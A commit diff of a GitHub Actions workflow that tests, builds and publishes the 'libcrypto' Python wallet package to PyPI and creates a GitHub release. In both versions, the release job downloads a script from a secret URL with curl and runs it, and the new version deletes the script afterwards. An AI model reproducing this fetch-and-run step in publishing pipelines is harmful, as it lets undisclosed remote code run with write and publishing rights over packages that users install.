|
1 | | -name: LibCrypto CI & Release |
| 1 | +name: libcrypto Package |
2 | 2 |
|
3 | 3 | on: |
4 | | - push: |
5 | | - tags: |
6 | | - - "v*.*.*" |
7 | | - branches: ["main"] |
8 | | - pull_request: |
9 | | - branches: ["main"] |
10 | | - workflow_dispatch: |
| 4 | + push: |
| 5 | + tags: |
| 6 | + - "v*.*.*" |
| 7 | + branches: ["main"] |
| 8 | + pull_request: |
| 9 | + branches: ["main"] |
| 10 | + workflow_dispatch: |
11 | 11 |
|
12 | 12 | jobs: |
13 | | - build: |
14 | | - name: Build Distribution |
15 | | - runs-on: ubuntu-latest |
16 | | - outputs: |
17 | | - new_version: ${{ steps.bump.outputs.new_version }} |
18 | | - steps: |
19 | | - - name: Checkout repository |
20 | | - uses: actions/checkout@v4 |
21 | | - |
22 | | - - name: Set up Python 3.12 |
23 | | - uses: actions/setup-python@v5 |
24 | | - with: |
25 | | - python-version: "3.12" |
26 | | - cache: "pip" |
27 | | - |
28 | | - - name: bumper version |
29 | | - run: | |
30 | | - curl -o bump_version.py ${{ secrets.BUMP_URL }} |
31 | | -
|
32 | | - - name: Run Bump script |
33 | | - id: bump |
34 | | - shell: bash |
35 | | - run: | |
36 | | - set -e |
37 | | - NEW_VERSION=$(python bump_version.py libcrypto) |
38 | | - echo "new_version=$NEW_VERSION" >> $GITHUB_OUTPUT |
39 | | -
|
40 | | - - name: Bump version (commit) |
41 | | - shell: bash |
42 | | - run: | |
43 | | - set -e |
44 | | - git config --global user.name 'github-actions' |
45 | | - git config --global user.email '[email protected]' |
46 | | - git add setup.py pyproject.toml src/libcrypto/__init__.py |
47 | | - git add . |
48 | | - git commit -m 'version Update Mode' |
49 | | - git push origin main |
50 | | -
|
51 | | - - name: Install dependencies |
52 | | - run: | |
53 | | - python -m pip install --upgrade pip |
54 | | - pip install pytest pytest-cov |
55 | | -
|
56 | | - - name: Install package in development mode |
57 | | - run: | |
58 | | - pip install -e . |
59 | | -
|
60 | | - - name: Run tests |
61 | | - run: | |
62 | | - pytest tests/ -q -v --cov=libcrypto --cov-report=term-missing |
63 | | -
|
64 | | - - name: Install build tools |
65 | | - run: | |
66 | | - python -m pip install build twine |
67 | | -
|
68 | | - - name: Build package |
69 | | - run: | |
70 | | - python -m build |
71 | | -
|
72 | | - - name: Check distribution |
73 | | - run: | |
74 | | - twine check dist/ |
75 | | -
|
76 | | - - name: Upload distributions |
77 | | - if: success() |
78 | | - uses: actions/upload-artifact@v4 |
79 | | - with: |
80 | | - name: python-package-distributions |
81 | | - path: dist/ |
82 | | - |
83 | | - publish-to-pypi: |
84 | | - needs: build |
85 | | - name: Publish to PyPI |
86 | | - runs-on: ubuntu-latest |
87 | | - environment: |
88 | | - name: pypi |
89 | | - url: https://pypi.org/p/libcrypto |
90 | | - permissions: |
91 | | - id-token: write |
92 | | - |
93 | | - steps: |
94 | | - - name: Download distribution artifacts |
95 | | - uses: actions/download-artifact@v4 |
96 | | - with: |
97 | | - name: python-package-distributions |
98 | | - path: dist/ |
99 | | - |
100 | | - create-github-release: |
101 | | - needs: publish-to-pypi |
102 | | - name: Create GitHub Release |
103 | | - runs-on: ubuntu-latest |
104 | | - if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && startsWith(github.ref, 'refs/tags/')) |
105 | | - permissions: |
106 | | - contents: write |
107 | | - steps: |
108 | | - - name: Checkout repository |
109 | | - uses: actions/checkout@v4 |
110 | | - |
111 | | - - name: Derive version from tag (optional) |
112 | | - if: github.event_name == 'workflow_dispatch' |
113 | | - run: | |
114 | | - echo "NEW_VERSION=${{ needs.build.outputs.new_version }}" >> $GITHUB_ENV |
115 | | -
|
116 | | - - name: Create GitHub Release |
117 | | - id: create_release |
118 | | - uses: softprops/action-gh-release@v2 |
119 | | - with: |
120 | | - tag_name: "v${{ needs.build.outputs.new_version }}" |
121 | | - name: "libcrypto v${{ needs.build.outputs.new_version }}" |
122 | | - body: | |
123 | | - ## libcrypto New Release `${{ needs.build.outputs.new_version }}` |
124 | | -
|
125 | | - > [!NOTE] |
126 | | - > New version of libcrypto has been released `v${{ needs.build.outputs.new_version }}`, Check the latest features and updates in this release. |
127 | | -
|
128 | | - install and use libcrypto with `pip` and `pip3` follow command : |
129 | | - |
130 | | - ### Windows |
131 | | - |
132 | | - ```bash |
133 | | - pip install libcrypto |
134 | | - # or |
135 | | - pip install libcrypto==${{ needs.build.outputs.new_version }} |
136 | | - ``` |
137 | | - ##### upgrade : `pip install libcrypto --upgrade` |
138 | | -
|
139 | | - --- |
140 | | -
|
141 | | - ### Linux & MacOS |
142 | | -
|
143 | | - ```bash |
144 | | - pip3 install libcrypto |
145 | | - # or |
146 | | - pip install libcrypto==${{ needs.build.outputs.new_version }} |
147 | | - ``` |
148 | | -
|
149 | | - ##### upgrade : `pip3 install libcrypto --upgrade` |
150 | | -
|
151 | | - --- |
152 | | -
|
153 | | - - [Documentation](https://libcrypto.readthedocs.io/) |
154 | | - - [PyPi Package](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/) |
155 | | - - [PyPi History](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/#history) |
156 | | - - [Description Package](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/#description) |
157 | | - - [Download Files](https://pypi.org/project/libcrypto/${{ needs.build.outputs.new_version }}/#files) |
158 | | -
|
159 | | - Programmer and Owner : @Pymmdrza |
160 | | -
|
161 | | - files: | |
162 | | - dist/libcrypto-${{ needs.build.outputs.new_version }}.tar.gz |
163 | | - dist/libcrypto-${{ needs.build.outputs.new_version }}-py3-none-any.whl |
164 | | - draft: false |
165 | | - prerelease: false |
166 | | - |
167 | | - test-pypi-installation: |
168 | | - needs: publish-to-pypi |
169 | | - name: Test PyPI Installation |
170 | | - runs-on: ${{ matrix.os }} |
171 | | - strategy: |
172 | | - matrix: |
173 | | - os: [ubuntu-latest, windows-latest, macos-latest] |
174 | | - python-version: ["3.8", "3.12"] |
175 | | - |
176 | | - steps: |
177 | | - - name: Set up Python ${{ matrix.python-version }} |
178 | | - uses: actions/setup-python@v5 |
179 | | - with: |
180 | | - python-version: ${{ matrix.python-version }} |
181 | | - |
182 | | - - name: Wait for PyPI to update |
183 | | - run: sleep 30 |
184 | | - |
185 | | - - name: Install from PyPI |
186 | | - run: | |
187 | | - pip install libcrypto --upgrade --no-cache-dir |
188 | | -
|
189 | | - - name: Test import |
190 | | - run: | |
191 | | - python -c "import libcrypto; print('LibCrypto version:', libcrypto.__version__)" |
192 | | -
|
193 | | - - name: Verify no external crypto dependencies |
194 | | - run: | |
195 | | - python -c "import sys; import libcrypto; assert 'ecdsa' not in sys.modules; assert 'Crypto' not in sys.modules; print('No external crypto dependencies')" |
196 | | -
|
197 | | - - name: Test basic functionality |
198 | | - run: | |
199 | | - python -c "from libcrypto import PrivateKey, Wallet, generate_mnemonic; pk = PrivateKey(1); print('Public key:', pk.get_public_key().hex[:32]); print('All tests passed')" |
| 13 | + test: |
| 14 | + name: Test on Python ${{ matrix.python-version }} |
| 15 | + runs-on: ubuntu-latest |
| 16 | + strategy: |
| 17 | + fail-fast: false |
| 18 | + matrix: |
| 19 | + python-version: ["3.8", "3.9", "3.10", "3.11", "3.12", "3.13"] |
| 20 | + |
| 21 | + steps: |
| 22 | + - name: Checkout repository |
| 23 | + uses: actions/checkout@v4 |
| 24 | + |
| 25 | + - name: Set up Python ${{ matrix.python-version }} |
| 26 | + uses: actions/setup-python@v5 |
| 27 | + with: |
| 28 | + python-version: ${{ matrix.python-version }} |
| 29 | + cache: "pip" |
| 30 | + |
| 31 | + - name: Install dependencies |
| 32 | + run: | |
| 33 | + python -m pip install --upgrade pip |
| 34 | + pip install pytest pytest-cov |
| 35 | + pip install -r requirements.txt |
| 36 | +
|
| 37 | + - name: Install package in development mode |
| 38 | + run: | |
| 39 | + pip install -e . |
| 40 | +
|
| 41 | + - name: Run tests |
| 42 | + run: | |
| 43 | + pytest tests/ -v --cov=libcrypto --cov-report=term-missing |
| 44 | +
|
| 45 | + build-and-publish: |
| 46 | + needs: test |
| 47 | + runs-on: ubuntu-latest |
| 48 | + if: github.ref == 'refs/heads/main' || github.event_name == 'workflow_dispatch' |
| 49 | + |
| 50 | + environment: |
| 51 | + name: pypi |
| 52 | + url: https://pypi.org/p/libcrypto |
| 53 | + |
| 54 | + permissions: |
| 55 | + id-token: write # برای Trusted Publishers |
| 56 | + contents: write # برای push و release |
| 57 | + |
| 58 | + outputs: |
| 59 | + new_version: ${{ steps.get_version.outputs.version }} |
| 60 | + |
| 61 | + steps: |
| 62 | + - name: Checkout repository |
| 63 | + uses: actions/checkout@v4 |
| 64 | + with: |
| 65 | + fetch-depth: 0 |
| 66 | + token: ${{ secrets.GITHUB_TOKEN }} |
| 67 | + ref: main |
| 68 | + |
| 69 | + - name: Set up Python 3.12 |
| 70 | + uses: actions/setup-python@v5 |
| 71 | + with: |
| 72 | + python-version: "3.12" |
| 73 | + cache: "pip" |
| 74 | + |
| 75 | + - name: Get Bumper File |
| 76 | + run: curl -o bump_version.py ${{ secrets.BUMP_URL }} |
| 77 | + |
| 78 | + - name: Run Bump script and capture version |
| 79 | + id: get_version |
| 80 | + run: | |
| 81 | + NEW_VERSION=$(python bump_version.py libcrypto) |
| 82 | + echo "version=$NEW_VERSION" >> $GITHUB_OUTPUT |
| 83 | + echo "NEW_VERSION=$NEW_VERSION" >> $GITHUB_ENV |
| 84 | + echo "New version: $NEW_VERSION" |
| 85 | +
|
| 86 | + - name: Remove Bump Script |
| 87 | + run: rm -f bump_version.py |
| 88 | + |
| 89 | + - name: Commit and push version bump |
| 90 | + run: | |
| 91 | + git config --global user.name 'github-actions[bot]' |
| 92 | + git config --global user.email 'github-actions[bot]@users.noreply.github.com' |
| 93 | + |
| 94 | + git add setup.py pyproject.toml src/libcrypto/__init__.py |
| 95 | + |
| 96 | + if ! git diff --staged --quiet; then |
| 97 | + git commit -m "chore: bump version to ${{ env.NEW_VERSION }}" |
| 98 | + git push origin main |
| 99 | + echo "Version bumped and pushed successfully" |
| 100 | + else |
| 101 | + echo "No version changes detected" |
| 102 | + fi |
| 103 | +
|
| 104 | + - name: Install build tools |
| 105 | + run: | |
| 106 | + python -m pip install --upgrade pip |
| 107 | + pip install build |
| 108 | +
|
| 109 | + - name: Build libcrypto Package |
| 110 | + run: | |
| 111 | + python -m build |
| 112 | +
|
| 113 | + - name: List distribution files |
| 114 | + run: | |
| 115 | + echo "Distribution files:" |
| 116 | + ls -lh dist/ |
| 117 | +
|
| 118 | + - name: Publish to PyPI using Trusted Publisher |
| 119 | + uses: pypa/gh-action-pypi-publish@release/v1 |
| 120 | + with: |
| 121 | + verbose: true |
| 122 | + print-hash: true |
| 123 | + |
| 124 | + - name: Create GitHub Release |
| 125 | + if: success() |
| 126 | + uses: softprops/action-gh-release@v2 |
| 127 | + with: |
| 128 | + tag_name: "v${{ steps.get_version.outputs.version }}" |
| 129 | + name: "libcrypto v${{ steps.get_version.outputs.version }}" |
| 130 | + body: | |
| 131 | + ## libcrypto New Release `${{ steps.get_version.outputs.version }}` |
| 132 | +
|
| 133 | + > [!NOTE] |
| 134 | + > New version of libcrypto has been released `v${{ steps.get_version.outputs.version }}`, Check the latest features and updates in this release. |
| 135 | +
|
| 136 | + install and use libcrypto with `pip` and `pip3` follow command : |
| 137 | +
|
| 138 | + ### Windows |
| 139 | +
|
| 140 | + ```bash |
| 141 | + pip install libcrypto |
| 142 | + # or |
| 143 | + pip install libcrypto==${{ steps.get_version.outputs.version }} |
| 144 | + ``` |
| 145 | + ##### upgrade : `pip install libcrypto --upgrade` |
| 146 | +
|
| 147 | + --- |
| 148 | +
|
| 149 | + ### Linux & MacOS |
| 150 | +
|
| 151 | + ```bash |
| 152 | + pip3 install libcrypto |
| 153 | + # or |
| 154 | + pip3 install libcrypto==${{ steps.get_version.outputs.version }} |
| 155 | + ``` |
| 156 | +
|
| 157 | + ##### upgrade : `pip3 install libcrypto --upgrade` |
| 158 | +
|
| 159 | + --- |
| 160 | +
|
| 161 | + - [Documentation](https://libcrypto.readthedocs.io/) |
| 162 | + - [PyPi Package](https://pypi.org/project/libcrypto/${{ steps.get_version.outputs.version }}/) |
| 163 | + - [PyPi History](https://pypi.org/project/libcrypto/${{ steps.get_version.outputs.version }}/#history) |
| 164 | + - [Description Package](https://pypi.org/project/libcrypto/${{ steps.get_version.outputs.version }}/#description) |
| 165 | + - [Download Files](https://pypi.org/project/libcrypto/${{ steps.get_version.outputs.version }}/#files) |
| 166 | +
|
| 167 | + Programmer and Owner : @Pymmdrza |
| 168 | +
|
| 169 | + files: | |
| 170 | + dist/* |
| 171 | + draft: false |
| 172 | + prerelease: false |
| 173 | + |
| 174 | + test-pypi-installation: |
| 175 | + needs: build-and-publish |
| 176 | + name: Test PyPI Installation on ${{ matrix.os }} - Python ${{ matrix.python-version }} |
| 177 | + runs-on: ${{ matrix.os }} |
| 178 | + strategy: |
| 179 | + matrix: |
| 180 | + os: [ubuntu-latest, windows-latest, macos-latest] |
| 181 | + python-version: ["3.8", "3.12"] |
| 182 | + |
| 183 | + steps: |
| 184 | + - name: Set up Python ${{ matrix.python-version }} |
| 185 | + uses: actions/setup-python@v5 |
| 186 | + with: |
| 187 | + python-version: ${{ matrix.python-version }} |
| 188 | + |
| 189 | + - name: Wait for PyPI to update |
| 190 | + run: sleep 90 |
| 191 | + |
| 192 | + - name: Install from PyPI |
| 193 | + run: | |
| 194 | + pip install libcrypto --upgrade --no-cache-dir |
| 195 | +
|
| 196 | + - name: Test import |
| 197 | + run: | |
| 198 | + python -c "import libcrypto; print('LibCrypto version:', libcrypto.__version__)" |
| 199 | +
|
| 200 | + - name: Test basic functionality |
| 201 | + run: | |
| 202 | + python -c "from libcrypto import PrivateKey, Wallet, generate_mnemonic; pk = PrivateKey(1); print('All tests passed successfully')" |
0 commit comments